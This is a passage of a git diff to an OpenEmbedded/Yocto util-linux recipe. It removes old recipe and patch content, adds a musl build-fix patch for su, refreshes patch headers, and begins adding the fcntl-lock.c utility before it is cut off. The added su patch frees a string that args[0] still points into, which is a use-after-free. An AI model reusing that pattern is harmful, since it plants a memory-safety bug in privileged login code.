- --disable-bfs --disable-chfn-chsh --disable-login \
- --disable-makeinstall-chown --disable-minix --disable-newgrp \
- --disable-use-tty-group --disable-vipw \
- \
- --without-udev \
- \
- usrsbin_execdir='${sbindir}' \
- --libdir='${UTIL_LINUX_LIBDIR}' \
-"
-
-EXTRA_OECONF_append_class-target = " --enable-setpriv"
-EXTRA_OECONF_append_class-native = " --without-cap-ng --disable-setpriv"
-EXTRA_OECONF_append_class-nativesdk = " --without-cap-ng --disable-setpriv"
-EXTRA_OECONF_append = " --disable-hwclock-gplv3"
-
-# enable pcre2 for native/nativesdk to match host distros
-# this helps to keep same expectations when using the SDK or
-# build host versions during development
-#
-PACKAGECONFIG ?= "pcre2"
-PACKAGECONFIG_class-target ?= "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)}"
-# inherit manpages requires this to be present, however util-linux does not have
-# configuration options, and installs manpages always
-PACKAGECONFIG[manpages] = ""
-PACKAGECONFIG[pam] = "--enable-su --enable-runuser,--disable-su --disable-runuser, libpam,"
-# Respect the systemd feature for uuidd
-PACKAGECONFIG[systemd] = "--with-systemd --with-systemdsystemunitdir=${systemd_system_unitdir}, --without-systemd --without-systemdsystemunitdir,systemd"
-# Build python bindings for libmount
-PACKAGECONFIG[pylibmount] = "--with-python=3 --enable-pylibmount,--without-python --disable-pylibmount,python3"
-# Readline support
-PACKAGECONFIG[readline] = "--with-readline,--without-readline,readline"
-# PCRE support in hardlink
-PACKAGECONFIG[pcre2] = ",,libpcre2"
-
-EXTRA_OEMAKE = "ARCH=${TARGET_ARCH} CPU= CPUOPT= 'OPT=${CFLAGS}'"
-
-ALLOW_EMPTY_${PN} = "1"
-FILES_${PN} = ""
-FILES_${PN}-doc += "${datadir}/getopt/getopt-*.*"
-FILES_${PN}-dev += "${PYTHON_SITEPACKAGES_DIR}/libmount/pylibmount.la"
-FILES_${PN}-mount = "${sysconfdir}/default/mountall"
-FILES_${PN}-runuser = "${sysconfdir}/pam.d/runuser*"
-FILES_${PN}-su = "${sysconfdir}/pam.d/su-l"
-CONFFILES_${PN}-su = "${sysconfdir}/pam.d/su-l"
-FILES_${PN}-pylibmount = "${PYTHON_SITEPACKAGES_DIR}/libmount/pylibmount.so \
- ${PYTHON_SITEPACKAGES_DIR}/libmount/__init__.* \
- ${PYTHON_SITEPACKAGES_DIR}/libmount/__pycache__/*"
-
-# Util-linux' blkid replaces the e2fsprogs one
-RCONFLICTS_${PN}-blkid = "${MLPREFIX}e2fsprogs-blkid"
-RREPLACES_${PN}-blkid = "${MLPREFIX}e2fsprogs-blkid"
-
-RRECOMMENDS_${PN}_class-native = ""
-RRECOMMENDS_${PN}_class-nativesdk = ""
-RDEPENDS_${PN}_class-native = ""
-RDEPENDS_${PN}_class-nativesdk = ""
-
-RPROVIDES_${PN}-dev = "${PN}-libblkid-dev ${PN}-libmount-dev ${PN}-libuuid-dev"
-
-RDEPENDS_${PN}-bash-completion += "${PN}-lsblk"
-RDEPENDS_${PN}-ptest += "bash bc btrfs-tools coreutils e2fsprogs grep iproute2 kmod mdadm procps sed socat which xz"
-RRECOMMENDS_${PN}-ptest += "kernel-module-scsi-debug"
-RDEPENDS_${PN}-swaponoff = "${PN}-swapon ${PN}-swapoff"
-ALLOW_EMPTY_${PN}-swaponoff = "1"
-
-#SYSTEMD_PACKAGES = "${PN}-uuidd ${PN}-fstrim"
-SYSTEMD_SERVICE_${PN}-uuidd = "uuidd.socket uuidd.service"
-SYSTEMD_AUTO_ENABLE_${PN}-uuidd = "disable"
-SYSTEMD_SERVICE_${PN}-fstrim = "fstrim.timer fstrim.service"
-SYSTEMD_AUTO_ENABLE_${PN}-fstrim = "disable"
-
-do_install () {
- # with ccache the timestamps on compiled files may
- # end up earlier than on their inputs, this allows
- # for the resultant compilation in the install step.
- oe_runmake 'CC=${CC}' 'LD=${LD}' \
- 'LDFLAGS=${LDFLAGS}' 'DESTDIR=${D}' install
-
- mkdir -p ${D}${base_bindir}
-
- sbinprogs="agetty ctrlaltdel cfdisk vipw vigr"
- sbinprogs_a="pivot_root hwclock mkswap losetup swapon swapoff fdisk fsck blkid blockdev fstrim sulogin switch_root nologin"
- binprogs_a="dmesg getopt kill more umount mount login su mountpoint"
-
- if [ "${base_sbindir}" != "${sbindir}" ]; then
- mkdir -p ${D}${base_sbindir}
- for p in $sbinprogs $sbinprogs_a; do
- if [ -f "${D}${sbindir}/$p" ]; then
- mv "${D}${sbindir}/$p" "${D}${base_sbindir}/$p"
- fi
- done
- fi
-
- if [ "${base_bindir}" != "${bindir}" ]; then
- mkdir -p ${D}${base_bindir}
- for p in $binprogs_a; do
- if [ -f "${D}${bindir}/$p" ]; then
- mv "${D}${bindir}/$p" "${D}${base_bindir}/$p"
- fi
- done
- fi
-
- install -d ${D}${sysconfdir}/default/
- echo 'MOUNTALL="-t nonfs,nosmbfs,noncpfs"' > ${D}${sysconfdir}/default/mountall
-
- rm -f ${D}${bindir}/chkdupexe
-}
-
-do_install_append_class-target () {
- if [ "${@bb.utils.filter('PACKAGECONFIG', 'pam', d)}" ]; then
- install -d ${D}${sysconfdir}/pam.d
- install -m 0644 ${WORKDIR}/runuser.pamd ${D}${sysconfdir}/pam.d/runuser
- install -m 0644 ${WORKDIR}/runuser-l.pamd ${D}${sysconfdir}/pam.d/runuser-l
- # Required for "su -" aka "su --login" because
- # otherwise it uses "other", which has "auth pam_deny.so"
- # and thus prevents the operation.
- ln -s su ${D}${sysconfdir}/pam.d/su-l
- fi
-}
-# nologin causes a conflict with shadow-native
-# kill causes a conflict with coreutils-native (if ${bindir}==${base_bindir})
-do_install_append_class-native () {
- rm -f ${D}${base_sbindir}/nologin
- rm -f ${D}${base_bindir}/kill
-}
-
-ALTERNATIVE_PRIORITY = "80"
-
-ALTERNATIVE_LINK_NAME[blkid] = "${base_sbindir}/blkid"
-ALTERNATIVE_LINK_NAME[blockdev] = "${base_sbindir}/blockdev"
-ALTERNATIVE_LINK_NAME[cal] = "${bindir}/cal"
-ALTERNATIVE_LINK_NAME[chrt] = "${bindir}/chrt"
-ALTERNATIVE_LINK_NAME[dmesg] = "${base_bindir}/dmesg"
-ALTERNATIVE_LINK_NAME[eject] = "${bindir}/eject"
-ALTERNATIVE_LINK_NAME[fallocate] = "${bindir}/fallocate"
-ALTERNATIVE_LINK_NAME[fdisk] = "${base_sbindir}/fdisk"
-ALTERNATIVE_LINK_NAME[flock] = "${bindir}/flock"
-ALTERNATIVE_LINK_NAME[fsck] = "${base_sbindir}/fsck"
-ALTERNATIVE_LINK_NAME[fsfreeze] = "${sbindir}/fsfreeze"
-ALTERNATIVE_LINK_NAME[fstrim] = "${base_sbindir}/fstrim"
-ALTERNATIVE_LINK_NAME[getopt] = "${base_bindir}/getopt"
-ALTERNATIVE_${PN}-agetty = "getty"
-ALTERNATIVE_LINK_NAME[getty] = "${base_sbindir}/getty"
-ALTERNATIVE_TARGET[getty] = "${base_sbindir}/agetty"
-ALTERNATIVE_LINK_NAME[hexdump] = "${bindir}/hexdump"
-ALTERNATIVE_LINK_NAME[hwclock] = "${base_sbindir}/hwclock"
-ALTERNATIVE_LINK_NAME[ionice] = "${bindir}/ionice"
-ALTERNATIVE_LINK_NAME[kill] = "${base_bindir}/kill"
-ALTERNATIVE_${PN}-last = "last lastb"
-ALTERNATIVE_LINK_NAME[last] = "${bindir}/last"
-ALTERNATIVE_LINK_NAME[lastb] = "${bindir}/lastb"
-ALTERNATIVE_LINK_NAME[logger] = "${bindir}/logger"
-ALTERNATIVE_LINK_NAME[losetup] = "${base_sbindir}/losetup"
-ALTERNATIVE_LINK_NAME[mesg] = "${bindir}/mesg"
-ALTERNATIVE_LINK_NAME[mkswap] = "${base_sbindir}/mkswap"
-ALTERNATIVE_LINK_NAME[more] = "${base_bindir}/more"
-ALTERNATIVE_LINK_NAME[mount] = "${base_bindir}/mount"
-ALTERNATIVE_LINK_NAME[mountpoint] = "${base_bindir}/mountpoint"
-ALTERNATIVE_LINK_NAME[nologin] = "${base_sbindir}/nologin"
-ALTERNATIVE_LINK_NAME[nsenter] = "${bindir}/nsenter"
-ALTERNATIVE_LINK_NAME[pivot_root] = "${base_sbindir}/pivot_root"
-ALTERNATIVE_LINK_NAME[readprofile] = "${sbindir}/readprofile"
-ALTERNATIVE_LINK_NAME[renice] = "${bindir}/renice"
-ALTERNATIVE_LINK_NAME[rev] = "${bindir}/rev"
-ALTERNATIVE_LINK_NAME[rfkill] = "${sbindir}/rfkill"
-ALTERNATIVE_LINK_NAME[rtcwake] = "${sbindir}/rtcwake"
-ALTERNATIVE_LINK_NAME[setpriv] = "${bindir}/setpriv"
-ALTERNATIVE_LINK_NAME[setsid] = "${bindir}/setsid"
-ALTERNATIVE_LINK_NAME[su] = "${base_bindir}/su"
-ALTERNATIVE_LINK_NAME[sulogin] = "${base_sbindir}/sulogin"
-ALTERNATIVE_LINK_NAME[swapoff] = "${base_sbindir}/swapoff"
-ALTERNATIVE_LINK_NAME[swapon] = "${base_sbindir}/swapon"
-ALTERNATIVE_LINK_NAME[switch_root] = "${base_sbindir}/switch_root"
-ALTERNATIVE_LINK_NAME[taskset] = "${bindir}/taskset"
-ALTERNATIVE_LINK_NAME[umount] = "${base_bindir}/umount"
-ALTERNATIVE_LINK_NAME[unshare] = "${bindir}/unshare"
-ALTERNATIVE_LINK_NAME[utmpdump] = "${bindir}/utmpdump"
-ALTERNATIVE_LINK_NAME[wall] = "${bindir}/wall"
-
-ALTERNATIVE_${PN}-doc = "\
-blkid.8 eject.1 findfs.8 fsck.8 kill.1 last.1 lastb.1 libblkid.3 logger.1 mesg.1 \
-mountpoint.1 nologin.8 rfkill.8 sulogin.8 utmpdump.1 uuid.3 wall.1\
-"
-ALTERNATIVE_${PN}-doc += "${@bb.utils.contains('PACKAGECONFIG', 'pam', 'su.1', '', d)}"
-
-ALTERNATIVE_LINK_NAME[blkid.8] = "${mandir}/man8/blkid.8"
-ALTERNATIVE_LINK_NAME[eject.1] = "${mandir}/man1/eject.1"
-ALTERNATIVE_LINK_NAME[findfs.8] = "${mandir}/man8/findfs.8"
-ALTERNATIVE_LINK_NAME[fsck.8] = "${mandir}/man8/fsck.8"
-ALTERNATIVE_LINK_NAME[kill.1] = "${mandir}/man1/kill.1"
-ALTERNATIVE_LINK_NAME[last.1] = "${mandir}/man1/last.1"
-ALTERNATIVE_LINK_NAME[lastb.1] = "${mandir}/man1/lastb.1"
-ALTERNATIVE_LINK_NAME[libblkid.3] = "${mandir}/man3/libblkid.3"
-ALTERNATIVE_LINK_NAME[logger.1] = "${mandir}/man1/logger.1"
-ALTERNATIVE_LINK_NAME[mesg.1] = "${mandir}/man1/mesg.1"
-ALTERNATIVE_LINK_NAME[mountpoint.1] = "${mandir}/man1/mountpoint.1"
-ALTERNATIVE_LINK_NAME[nologin.8] = "${mandir}/man8/nologin.8"
-ALTERNATIVE_LINK_NAME[rfkill.8] = "${mandir}/man8/rfkill.8"
-ALTERNATIVE_LINK_NAME[setpriv.1] = "${mandir}/man1/setpriv.1"
-ALTERNATIVE_LINK_NAME[su.1] = "${mandir}/man1/su.1"
-ALTERNATIVE_LINK_NAME[sulogin.8] = "${mandir}/man8/sulogin.8"
-ALTERNATIVE_LINK_NAME[utmpdump.1] = "${mandir}/man1/utmpdump.1"
-ALTERNATIVE_LINK_NAME[uuid.3] = "${mandir}/man3/uuid.3"
-ALTERNATIVE_LINK_NAME[wall.1] = "${mandir}/man1/wall.1"
-
-
-BBCLASSEXTEND = "native nativesdk"
-
-PTEST_BINDIR = "1"
-do_compile_ptest() {
- oe_runmake buildtest-TESTS
-}
-
-do_install_ptest() {
- mkdir -p ${D}${PTEST_PATH}/tests/ts
- find . -name 'test*' -maxdepth 1 -type f -perm -111 -exec cp {} ${D}${PTEST_PATH} \;
- find ./.libs -name 'sample*' -maxdepth 1 -type f -perm -111 -exec cp {} ${D}${PTEST_PATH} \;
- find ./.libs -name 'test*' -maxdepth 1 -type f -perm -111 -exec cp {} ${D}${PTEST_PATH} \;
-
- cp ${S}/tests/*.sh ${D}${PTEST_PATH}/tests/
- cp -pR ${S}/tests/expected ${D}${PTEST_PATH}/tests/expected
- cp -pR ${S}/tests/ts ${D}${PTEST_PATH}/tests/
- cp ${WORKDIR}/build/config.h ${D}${PTEST_PATH}
-
- # The original paths of executables to be tested point to a local folder containing
- # the executables. We want to test the installed executables, not the local copies.
- # So strip the paths, the executables will be located via "which"
- sed -i \
- -e '/^TS_CMD/ s|$top_builddir/||g' \
- -e '/^TS_HELPER/ s|$top_builddir|${PTEST_PATH}|g' \
- ${D}${PTEST_PATH}/tests/commands.sh
-
- # Change 'if [ ! -x "$1" ]' to 'if [ ! -x "`which $1 2>/dev/null`"]'
- sed -i -e \
- '/^\tif[[:space:]]\[[[:space:]]![[:space:]]-x[[:space:]]"$1"/s|$1|`which $1 2>/dev/null`|g' \
- ${D}${PTEST_PATH}/tests/functions.sh
-
- # Running "kill" without the the complete path would use the shell's built-in kill
- sed -i -e \
- '/^TS_CMD_KILL/ s|kill|${PTEST_PATH}/bin/kill|g' \
- ${D}${PTEST_PATH}/tests/commands.sh
-
-
- sed -i 's|@base_sbindir@|${base_sbindir}|g' ${D}${PTEST_PATH}/run-ptest
-
-}
+SRC_URI[sha256sum] = "7b6605e48d1a49f43cc4b4cfc59f313d0dd5402fa40b96810bd572e167dfed0f"
diff --git a/meta/recipes-core/util-linux/util-linux/0001-include-cleanup-pidfd-inckudes.patch b/meta/recipes-core/util-linux/util-linux/0001-include-cleanup-pidfd-inckudes.patch
deleted file mode 100644
index 0ef6fb4ec7..0000000000
--- a/meta/recipes-core/util-linux/util-linux/0001-include-cleanup-pidfd-inckudes.patch
+++ /dev/null
@@ -1,42 +0,0 @@
-From 0a4035ff2e4fd5b5ae0cf8f8665696c2aff53b75 Mon Sep 17 00:00:00 2001
-From: Karel Zak <kzak@redhat.com>
-Date: Tue, 10 Mar 2020 11:43:16 +0100
-Subject: [PATCH] include: cleanup pidfd inckudes
-
-Upstream-Status: Backport [https://github.com/karelzak/util-linux/commit/0a4035ff2e4fd5b5ae0cf8f8665696c2aff53b75]
-
-Signed-off-by: Karel Zak <kzak@redhat.com>
-Signed-off-by: Benjamin Fair <benjaminfair@google.com>
----
- include/pidfd-utils.h | 6 +++---
- 1 file changed, 3 insertions(+), 3 deletions(-)
-
-diff --git a/include/pidfd-utils.h b/include/pidfd-utils.h
-index 0baedd2c9..4a6c3a604 100644
---- a/include/pidfd-utils.h
-+++ b/include/pidfd-utils.h
-@@ -3,10 +3,10 @@
-
- #if defined(__linux__)
- # include <sys/syscall.h>
--# if defined(SYS_pidfd_send_signal)
-+# if defined(SYS_pidfd_send_signal) && defined(SYS_pidfd_open)
- # include <sys/types.h>
-
--# ifndef HAVE_PIDFD_OPEN
-+# ifndef HAVE_PIDFD_SEND_SIGNAL
- static inline int pidfd_send_signal(int pidfd, int sig, siginfo_t *info,
- unsigned int flags)
- {
-@@ -14,7 +14,7 @@ static inline int pidfd_send_signal(int pidfd, int sig, siginfo_t *info,
- }
- # endif
-
--# ifndef HAVE_PIDFD_SEND_SIGNAL
-+# ifndef HAVE_PIDFD_OPEN
- static inline int pidfd_open(pid_t pid, unsigned int flags)
- {
- return syscall(SYS_pidfd_open, pid, flags);
---
-2.26.1.301.g55bc3eb7cb9-goog
-
diff --git a/meta/recipes-core/util-linux/util-linux/0001-login-utils-include-libgen.h-for-basename-API.patch b/meta/recipes-core/util-linux/util-linux/0001-login-utils-include-libgen.h-for-basename-API.patch
new file mode 100644
index 0000000000..6258710e1e
--- /dev/null
+++ b/meta/recipes-core/util-linux/util-linux/0001-login-utils-include-libgen.h-for-basename-API.patch
@@ -0,0 +1,60 @@
+From d44e3ad1f6f8b5c1b3098bb7d537943a4c21d22f Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Sun, 3 Dec 2023 19:59:46 -0800
+Subject: [PATCH] login-utils: include libgen.h for basename API
+
+musl has removed the non-prototype declaration of basename from string.h [1] which now results in build errors with clang-17+ compiler
+
+include libgen.h for using the posix declaration of the funciton.
+
+Fixes
+
+../util-linux-2.39.2/login-utils/su-common.c:847:20: error: call to undeclared function 'basename'; ISO C99 and later do not support implicit function declarations [-Wimplicit-function-declaration]
+ 847 | shell_basename = basename(shell);
+ | ^
+
+[1] https://git.musl-libc.org/cgit/musl/commit/?id=725e17ed6dff4d0cd22487bb64470881e86a92e7
+
+Upstream-Status: Submitted [https://github.com/util-linux/util-linux/pull/2615]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+
+---
+ login-utils/su-common.c | 10 +++++++---
+ 1 file changed, 7 insertions(+), 3 deletions(-)
+
+diff --git a/login-utils/su-common.c b/login-utils/su-common.c
+index b674920..3297c78 100644
+--- a/login-utils/su-common.c
++++ b/login-utils/su-common.c
+@@ -26,6 +26,7 @@
+ #include <sys/types.h>
+ #include <pwd.h>
+ #include <grp.h>
++#include <libgen.h>
+ #include <security/pam_appl.h>
+ #ifdef HAVE_SECURITY_PAM_MISC_H
+ # include <security/pam_misc.h>
+@@ -840,17 +841,20 @@ static void run_shell(
+ su->simulate_login ? " login" : "",
+ su->fast_startup ? " fast-start" : ""));
+
++ char* tmp = xstrdup(shell);
+ if (su->simulate_login) {
+ char *arg0;
+ char *shell_basename;
+
+- shell_basename = basename(shell);
++ shell_basename = basename(tmp);
+ arg0 = xmalloc(strlen(shell_basename) + 2);
+ arg0[0] = '-';
+ strcpy(arg0 + 1, shell_basename);
+ args[0] = arg0;
+- } else
+- args[0] = basename(shell);
++ } else {
++ args[0] = basename(tmp);
++ }
++ free(tmp);
+
+ if (su->fast_startup)
+ args[argno++] = "-f";
diff --git a/meta/recipes-core/util-linux/util-linux/avoid_parallel_tests.patch b/meta/recipes-core/util-linux/util-linux/avoid_parallel_tests.patch
index 748b6ef096..85ad7a5575 100644
--- a/meta/recipes-core/util-linux/util-linux/avoid_parallel_tests.patch
+++ b/meta/recipes-core/util-linux/util-linux/avoid_parallel_tests.patch
@@ -1,20 +1,29 @@
+From 0b05e4695a0616badef71dfa459a00ef6ff1b521 Mon Sep 17 00:00:00 2001
+From: Tudor Florea <tudor.florea@enea.com>
+Date: Mon, 14 Jun 2021 14:00:31 +0200
+Subject: [PATCH] util-linux: Add ptest
+
Ptest needs buildtest-TESTS and runtest-TESTS targets.
serial-tests is required to generate those targets.
-Revert run.sh script accordingly to serialize running tests
+Revert run.sh script accordingly to serialize running tests
Signed-off-by: Tudor Florea <tudor.florea@enea.com>
-Upstream-Status: Inappropriate
+Upstream-Status: Inappropriate
+
+---
+ configure.ac | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
-Index: util-linux-2.32/configure.ac
-===================================================================
---- util-linux-2.32.orig/configure.ac
-+++ util-linux-2.32/configure.ac
+diff --git a/configure.ac b/configure.ac
+index 890212f..870e817 100644
+--- a/configure.ac
++++ b/configure.ac
@@ -11,7 +11,7 @@ AC_CONFIG_MACRO_DIR([m4])
dnl AC_USE_SYSTEM_EXTENSIONS must be called before any macros that run
- dnl the compiler (like AC_PROG_LIBTOOL) to avoid autoconf errors.
+ dnl the compiler (like LT_INIT) to avoid autoconf errors.
AC_USE_SYSTEM_EXTENSIONS
--AM_INIT_AUTOMAKE([-Wall foreign 1.10 tar-pax no-dist-gzip dist-xz subdir-objects])
-+AM_INIT_AUTOMAKE([-Wall foreign 1.10 tar-pax no-dist-gzip dist-xz subdir-objects serial-tests])
+-AM_INIT_AUTOMAKE([-Wall -Wno-portability foreign 1.10 tar-pax no-dist-gzip dist-xz subdir-objects])
++AM_INIT_AUTOMAKE([-Wall -Wno-portability foreign 1.10 tar-pax no-dist-gzip dist-xz subdir-objects serial-tests])
m4_ifdef([AM_SILENT_RULES], [AM_SILENT_RULES([yes])],
[AC_SUBST([AM_DEFAULT_VERBOSITY], [1])])
diff --git a/meta/recipes-core/util-linux/util-linux/configure-sbindir.patch b/meta/recipes-core/util-linux/util-linux/configure-sbindir.patch
index e475289f65..75adeca188 100644
--- a/meta/recipes-core/util-linux/util-linux/configure-sbindir.patch
+++ b/meta/recipes-core/util-linux/util-linux/configure-sbindir.patch
@@ -1,3 +1,8 @@
+From c79222a9a5e3425c55e150edc0b7ac59c573aa2f Mon Sep 17 00:00:00 2001
+From: Phil Blundell <pb@pbcl.net>
+Date: Mon, 24 Sep 2012 07:24:51 +0100
+Subject: [PATCH] util-linux: Ensure that ${sbindir} is respected
+
util-linux: take ${sbindir} from the environment if it is set there
fix the test, the [ ] syntax was getting eaten by autoconf
@@ -5,11 +10,15 @@ Signed-off-by: Phil Blundell <pb@pbcl.net>
Signed-off-by: Saul Wold <sgw@linux.intel.com
Upstream-Status: Inappropriate [configuration]
-Index: util-linux-2.31/configure.ac
-===================================================================
---- util-linux-2.31.orig/configure.ac
-+++ util-linux-2.31/configure.ac
-@@ -89,7 +89,10 @@ AC_SUBST([runstatedir])
+---
+ configure.ac | 5 ++++-
+ 1 file changed, 4 insertions(+), 1 deletion(-)
+
+diff --git a/configure.ac b/configure.ac
+index 36c24b4..890212f 100644
+--- a/configure.ac
++++ b/configure.ac
+@@ -102,7 +102,10 @@ AC_SUBST([runstatedir])
usrbin_execdir='${exec_prefix}/bin'
AC_SUBST([usrbin_execdir])
diff --git a/meta/recipes-core/util-linux/util-linux/display_testname_for_subtest.patch b/meta/recipes-core/util-linux/util-linux/display_testname_for_subtest.patch
index 417ca1d98f..815ae9c915 100644
--- a/meta/recipes-core/util-linux/util-linux/display_testname_for_subtest.patch
+++ b/meta/recipes-core/util-linux/util-linux/display_testname_for_subtest.patch
@@ -1,4 +1,7 @@
-Display testname for subtest
+From fc5de1de898fd1a372a2fd2fa493dc57323a029d Mon Sep 17 00:00:00 2001
+From: Tudor Florea <tudor.florea@enea.com>
+Date: Thu, 3 Dec 2015 04:08:00 +0100
+Subject: [PATCH] Display testname for subtest
Signed-off-by: Tudor Florea <tudor.florea@enea.com>
Upstream-Status: Pending
@@ -8,10 +11,10 @@ Upstream-Status: Pending
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/tests/functions.sh b/tests/functions.sh
-index 5246605..b24dc15 100644
+index 5a562a3..098145e 100644
--- a/tests/functions.sh
+++ b/tests/functions.sh
-@@ -320,7 +320,7 @@ function ts_init_subtest {
+@@ -437,7 +437,7 @@ function ts_init_subtest {
if [ "$TS_PARSABLE" != "yes" ]; then
[ $TS_NSUBTESTS -eq 1 ] && echo
@@ -20,6 +23,3 @@ index 5246605..b24dc15 100644
fi
}
---
-2.8.3
-
diff --git a/meta/recipes-core/util-linux/util-linux/fcntl-lock.c b/meta/recipes-core/util-linux/util-linux/fcntl-lock.c
new file mode 100644
index 0000000000..966d8c5ecb
--- /dev/null
+++ b/meta/recipes-core/util-linux/util-linux/fcntl-lock.c
@@ -0,0 +1,332 @@
+// From https://github.com/magnumripper/fcntl-lock
+// SPDX-License-Identifier: MIT
+/* ----------------------------------------------------------------------- *
+ *
+ * Copyright 2003-2005 H. Peter Anvin - All Rights Reserved
+ * Copyright 2015 magnum (fcntl version)
+ *
+ * Permission is hereby granted, free of charge, to any person
+ * obtaining a copy of this software and associated documentation
+ * files (the "Software"), to deal in the Software without
+ * restriction, including without limitation the rights to use,
+ * copy, modify, merge, publish, distribute, sublicense, and/or
+ * sell copies of the Software, and to permit persons to whom
+ * the Software is furnished to do so, subject to the following
+ * conditions:
+ *
+ * The above copyright notice and this permission notice shall
+ * be included in all copies or substantial portions of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+ * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
+ * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+ * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
+ * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
+ * WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
+ * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
+ * OTHER DEALINGS IN THE SOFTWARE.
+ *
+ * ----------------------------------------------------------------------- */
+
+#include <errno.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <fcntl.h>
+#include <unistd.h>
+#include <getopt.h>
+#include <signal.h>
+#include <ctype.h>
+#include <string.h>
+#include <paths.h>
+#include <sysexits.h>
+#include <sys/types.h>
+#include <sys/file.h>
+#include <sys/time.h>
+#include <sys/wait.h>
+
+#define PACKAGE_STRING "magnum"
+#define _(x) (x)
+
+static const struct option long_options[] = {
+ { "shared", 0, NULL, 's' },
+ { "exclusive", 0, NULL, 'x' },
+ { "unlock", 0, NULL, 'u' },
+ { "nonblocking", 0, NULL, 'n' },
+ { "nb", 0, NULL, 'n' },
+ { "timeout", 1, NULL, 'w' },
+ { "wait", 1, NULL, 'w' },
+ { "close", 0, NULL, 'o' },
+ { "help", 0, NULL, 'h' },
+ { "version", 0, NULL, 'V' },
+ { 0, 0, 0, 0 }
+};
+
+const char *program;
+
+static void usage(int ex)
+{
+ fputs("fcntl-lock (" PACKAGE_STRING ")\n", stderr);
+ fprintf(stderr,
+ _("Usage: %1$s [-sxun][-w #] fd#\n"
+ " %1$s [-sxon][-w #] file [-c] command...\n"
+ " %1$s [-sxon][-w #] directory [-c] command...\n"
+ " -s --shared Get a shared lock\n"
+ " -x --exclusive Get an exclusive lock\n"
+ " -u --unlock Remove a lock\n"
+ " -n --nonblock Fail rather than wait\n"
+ " -w --timeout Wait for a limited amount of time\n"
+ " -o --close Close file descriptor before running command\n"
+ " -c --command Run a single command string through the shell\n"
+ " -h --help Display this text\n"
+ " -V --version Display version\n"),
+ program);
+ exit(ex);
+}
+
+
+static sig_atomic_t timeout_expired = 0;
+
+static void timeout_handler(int sig)
+{
+ (void)sig;
+
+ timeout_expired = 1;
+}
+
+
+static char * strtotimeval(const char *str, struct timeval *tv)
+{
+ char *s;
+ long fs; /* Fractional seconds */
+ int i;
+
+ tv->tv_sec = strtol(str, &s, 10);
+ fs = 0;
+
+ if ( *s == '.' ) {
+ s++;
+
+ for ( i = 0 ; i < 6 ; i++ ) {
+ if ( !isdigit(*s) )
+ break;
+
+ fs *= 10;
+ fs += *s++ - '0';
+ }
+
+ for ( ; i < 6; i++ )
+ fs *= 10;
+
+ while ( isdigit(*s) )
+ s++;
+ }
+
+ tv->tv_usec = fs;
+ return s;
+}
+
+int main(int argc, char *argv[])
+{
+ struct itimerval timeout, old_timer;
+ int have_timeout = 0;
+ int type = F_WRLCK;
+ int block = F_SETLKW;
+ int fd = -1;
+ int opt, ix;
+ int do_close = 0;
+ int err;
+ int status;
+ char *eon;
+ char **cmd_argv = NULL, *sh_c_argv[4];
+ struct flock lock;
+ const char *filename = NULL;
+ struct sigaction sa, old_sa;
+
+ program = argv[0];
+
+ if ( argc < 2 )
+ usage(EX_USAGE);
+
+ memset(&timeout, 0, sizeof timeout);
+
+ optopt = 0;
+ while ( (opt = getopt_long(argc, argv, "+sexnouw:hV?", long_options, &ix)) != EOF ) {
+ switch(opt) {
+ case 's':
+ type = F_RDLCK;
+ break;
+ case 'e':
+ case 'x':
+ type = F_WRLCK;
+ break;
+ case 'u':
+ type = F_UNLCK;
+ break;
+ case 'o':
+ do_close = 1;
+ break;
+ case 'n':
+ block = F_SETLK;
+ break;
+ case 'w':
+ have_timeout = 1;
+ eon = strtotimeval(optarg, &timeout.it_value);
+ if ( *eon )
+ usage(EX_USAGE);
+ break;
+ case 'V':
+ printf("fcntl-lock (%s)\n", PACKAGE_STRING);
+ exit(0);
+ default:
+ /* optopt will be set if this was an unrecognized option, i.e. *not* 'h' or '?' */
+ usage(optopt ? EX_USAGE : 0);
+ break;
+ }
+ }
+
+ if ( argc > optind+1 ) {
+ /* Run command */
+
+ if ( !strcmp(argv[optind+1], "-c") ||
+ !strcmp(argv[optind+1], "--command") ) {
+
+ if ( argc != optind+3 ) {
+ fprintf(stderr, _("%s: %s requires exactly one command argument\n"),
+ program, argv[optind+1]);
+ exit(EX_USAGE);
+ }
+
+ cmd_argv = sh_c_argv;
+
+ cmd_argv[0] = getenv("SHELL");
+ if ( !cmd_argv[0] || !*cmd_argv[0] )
+ cmd_argv[0] = _PATH_BSHELL;
+
+ cmd_argv[1] = "-c";
+ cmd_argv[2] = argv[optind+2];
+ cmd_argv[3] = 0;
+ } else {
+ cmd_argv = &argv[optind+1];
+ }
+
+ filename = argv[optind];
+ fd = open(filename, O_RDWR|O_NOCTTY|O_CREAT, 0666);
+ /* Linux doesn't like O_CREAT on a directory, even though it should be a
+ no-op */
+ if (fd < 0 && errno == EISDIR)
+ fd = open(filename, O_RDONLY|O_NOCTTY);
+
+ if ( fd < 0 ) {
+ err = errno;
+ fprintf(stderr, _("%s: cannot open lock file %s: %s\n"),
+ program, argv[optind], strerror(err));
+ exit((err == ENOMEM||err == EMFILE||err == ENFILE) ? EX_OSERR :
+ (err == EROFS||err == ENOSPC) ? EX_CANTCREAT :
+ EX_NOINPUT);
+ }
+
+ } else if (optind < argc) {
+ /* Use provided file descriptor */
+
+ fd = (int)strtol(argv[optind], &eon, 10);
+ if ( *eon || !argv[optind] ) {
+ fprintf(stderr, _("%s: bad number: %s\n"), program, argv[optind]);
+ exit(EX_USAGE);
+ }
+
+ } else {
+ /* Bad options */
+
+ fprintf(stderr, _("%s: requires file descriptor, file or directory\n"),
+ program);
+ exit(EX_USAGE);
+ }
+
+
+ if ( have_timeout ) {
+ if ( timeout.it_value.tv_sec == 0 &&
+ timeout.it_value.tv_usec == 0 ) {
